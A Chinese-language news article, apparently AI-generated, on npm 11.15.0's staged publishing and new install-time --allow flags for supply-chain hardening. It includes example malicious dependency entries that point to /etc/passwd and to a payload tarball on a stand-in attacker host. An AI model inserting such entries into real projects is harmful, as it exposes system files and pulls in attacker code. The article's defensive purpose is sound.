GitHub:npm 11.15.0引入分阶段发布和三个新的安装时--allow标志用于供应链加固
GitHub发布了npm CLI版本11.15.0,引入分阶段发布——软件包在可供安装前需要维护者批准。还引入了三个新的安装时标志(--allow-file、--allow-remote、--allow-directory)以及现有的--allow-git,用于在npm install命令中精细控制依赖项来源。
本文由人工智能基于一手来源生成。
GitHub于2026年5月22日UTC 18:27发布了两项相关的npm registry安全改进:分阶段发布作为发布工作流的新机制,以及三个新的安装时标志(—allow-file、—allow-remote、—allow-directory),用于精细控制npm install中依赖项来源。两者均从npm CLI版本11.15.0起可用,该版本同时发布。
什么是分阶段发布,它如何改变工作流?
旧的npm publish工作流是原子的:维护者使用发布令牌运行命令的那一刻,软件包立即在全球范围内通过所有npm registry镜像安装。这种模式平均每年产生两次事件——泄露的发布令牌发布了恶意软件包,在任何人发现之前就传播到数千个CI环境中。
分阶段发布增加了一个中间步骤。npm publish后,软件包进入仅对已认证维护者可见的暂存状态。维护者可以安装它进行自己的测试(npm install package@staged),通过npm view package —tag staged查看元数据,然后明确运行npm promote [email protected]使软件包进入公开可用状态。没有promote步骤的软件包在7天后从暂存状态过期并自动删除。
工作流在当前版本中是可选的,但维护者的package owner可以在package.json中设置「publishConfig.staged」: true,使该软件包的所有未来发布默认为暂存。React、Vue、Next.js等大型软件包已宣布将在2026年7月期间切换到默认暂存发布。
三个新的—allow标志做什么?
npm install之前默认接受来自几个来源的依赖项而无需显式配置:本地file:路径、http(s) tarball URL和工作区目录引用。这意味着来自被入侵的公共软件包的package.json可以包含「internal-helpers」: 「file:/etc/passwd」或「auth」: 「https://attacker.example/payload.tgz」这样的依赖项——npm install会不加警告地安装它们。
三个新标志现在明确控制这些来源:
- **
--allow-file**允许file:依赖项(例如,用于不使用npm workspaces的本地monorepo工作区)。 - **
--allow-remote**允许http(s)tarball URL(例如,用于不在npm scope中托管的内部软件包registry)。 - **
--allow-directory**允许工作区文件夹引用。
在CI环境中(当环境中有CI=true时),三个标志默认关闭,这意味着如果package.json包含此类依赖项,npm install会以清晰的错误消息失败。必须在CI脚本中显式启用所需标志才能继续。在本地开发环境中(未设置CI),标志默认开启以向后兼容——但维护者团队可以在.npmrc中设置npm config set allow-file false,如果他们也想在本地使用严格模式。
这如何融入更广泛的npm供应链安全?
这些机制建立在现有npm安全特性之上:npm audit(依赖项漏洞扫描)、来源证明(软件包与GitHub Actions构建的加密链接)以及针对每周下载量超过1,000次的软件包维护者的强制2FA。分阶段发布是防止泄露令牌的第二层;—allow标志是防止恶意依赖注入的第三层。
GitHub在同一公告中宣布,将在2026年夏季发布npm-policy.json模式,允许企业租户集中定义其仓库可接受的依赖项来源,并让CI系统(GitHub Actions、GitLab CI、CircleCI)在管道级别集成执行。预发布模式草稿可在npm/cli GitHub仓库中获取。
与先前版本的兼容性如何?
npm 11.15.0与Node.js 22 LTS及更高版本兼容。npm registry上的分阶段发布端点对所有客户端都可用,但旧版npm CLI不理解该命令——希望使用分阶段工作流的维护者必须升级。—allow标志是新的CLI参数——旧版本会忽略它们或发出unknown option警告,但不会破坏向后兼容性。
常见问题
- npm 11.15.0中的分阶段发布是什么?
- 分阶段发布意味着软件包发布后进入暂存状态,仅对维护者可见以供测试。只有在明确执行promote步骤后,软件包才对公众可供安装。这防止了泄露的发布令牌意外发布恶意更新。
- 三个新的--allow标志是什么?
- --allow-file(允许本地file:依赖项)、--allow-remote(允许http(s) tarball URL)和--allow-directory(允许workspace文件夹引用)。在CI环境中默认全部禁用——必须为真正需要它们的工作流显式启用。
- 这对npm供应链安全意味着什么?
- 从两个方面减少攻击面:泄露的发布令牌不再能立即发布恶意软件包(等待promote),CI管道也不能意外从不受信任的来源安装软件包(file/remote/dir默认关闭)。与npm 11.x和Node.js 22 LTS+兼容。